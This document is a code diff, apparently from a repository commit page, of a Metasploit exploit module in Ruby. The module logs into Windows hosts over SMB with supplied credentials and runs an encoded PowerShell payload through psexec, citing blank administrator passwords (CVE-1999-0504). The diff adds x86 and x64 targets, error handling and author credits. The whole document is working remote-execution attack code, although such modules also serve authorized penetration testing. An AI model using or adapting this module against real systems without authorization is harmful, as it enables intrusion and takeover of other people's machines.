1
1
# -*- coding: binary -*-
2
2
3
+ ##
4
+ # This file is part of the Metasploit Framework and may be subject to
5
+ # redistribution and commercial restrictions. Please see the Metasploit
6
+ # web site for more information on licensing and terms of use.
7
+ # http://metasploit.com/
8
+ ##
9
+
3
10
require 'msf/core'
11
+ require 'msf/core/exploit/powershell'
4
12
5
13
class Metasploit3 < Msf ::Exploit ::Remote
6
- Rank = ManualRanking
14
+ Rank = ManualRanking
7
15
8
16
# Exploit mixins should be called first
9
17
include Msf ::Exploit ::Remote ::SMB ::Psexec
10
18
include Msf ::Exploit ::Powershell
11
- include Msf ::Auxiliary ::Report
12
- include Msf ::Exploit ::EXE
13
19
14
20
def initialize ( info = { } )
15
21
super ( update_info ( info ,
@@ -29,7 +35,8 @@ def initialize(info = {})
29
35
} ,
30
36
31
37
'Author' => [
32
- 'RageLtMan <rageltman[at]sempervictus'
38
+ 'Royce @R3dy__ Davis <rdavis[at]accuvant.com>' , # PSExec command module
39
+ 'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
33
40
] ,
34
41
35
42
'License' => MSF_LICENSE ,
@@ -48,9 +55,11 @@ def initialize(info = {})
48
55
'Platform' => 'win' ,
49
56
'Targets' =>
50
57
[
51
- [ 'Automatic' , { } ] ,
58
+ [ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
59
+ [ 'Windows x64' , { 'Arch' => ARCH_X86_64 } ]
52
60
] ,
53
61
'DefaultTarget' => 0 ,
62
+ 'DisclosureDate' => 'Jan 01 1999' ,
54
63
'References' => [
55
64
[ 'CVE' , '1999-0504' ] , # Administrator with no password (since this is the default)
56
65
[ 'OSVDB' , '3106' ] ,
@@ -61,43 +70,45 @@ def initialize(info = {})
61
70
) )
62
71
63
72
register_options ( [
64
- OptBool . new ( 'PERSIST' , [ false , 'Run the payload in a loop' ] ) ,
65
- OptBool . new ( 'PSH_OLD_METHOD' , [ false , 'Use powershell 1.0' , false ] ) ,
66
73
OptBool . new ( 'DryRun' , [ false , 'dry run' , false ] ) ,
67
74
] , self . class )
68
75
end
69
76
70
77
71
78
def exploit
72
- command = cmd_psh_payload ( payload . encoded , datastore [ 'PSH_OLD_METHOD' ] )
79
+ command = cmd_psh_payload ( payload . encoded )
73
80
if datastore [ 'DryRun' ]
74
81
print_good command
75
82
return
76
83
end
77
84
78
- #Try and authenticate with given credentials
85
+ if datastore [ 'PSH::RUN_WOW64' ] and target_arch . first == "x86_64"
86
+ fail_with ( Exploit ::Failure ::BadConfig , "Select an x86 target and payload with RUN_WOW64 enabled" )
87
+ end
88
+
89
+ # Try and authenticate with given credentials
79
90
if connect
80
91
begin
81
92
smb_login
82
93
rescue StandardError => autherror
83
- print_error ( "#{ peer } - Unable to authenticate with given credentials: #{ autherror } " )
84
- return
94
+ fail_with ( Exploit ::Failure ::NoAccess , "#{ peer } - Unable to authenticate with given credentials: #{ autherror } " )
95
+ ensure
96
+ disconnect
85
97
end
86
98
# Execute the powershell command
99
+ print_status ( "#{ peer } - Executing the payload..." )
87
100
begin
88
- print_status ( "#{ peer } - Executing the payload..." )
89
- #vprint_good(command)
90
101
return psexec ( command )
91
102
rescue StandardError => exec_command_error
92
- print_error ( "#{ peer } - Unable to execute specified command: #{ exec_command_error } " )
93
- return false
94
- end
95
- disconnect
103
+ fail_with ( Exploit :: Failure :: Unknown , "#{ peer } - Unable to execute specified command: #{ exec_command_error } " )
104
+ ensure
105
+ disconnect
106
+ end
96
107
end
97
108
end
98
109
99
110
def peer
100
111
return "#{ rhost } :#{ rport } "
101
112
end
102
-
103
113
end
114
+
0 commit comments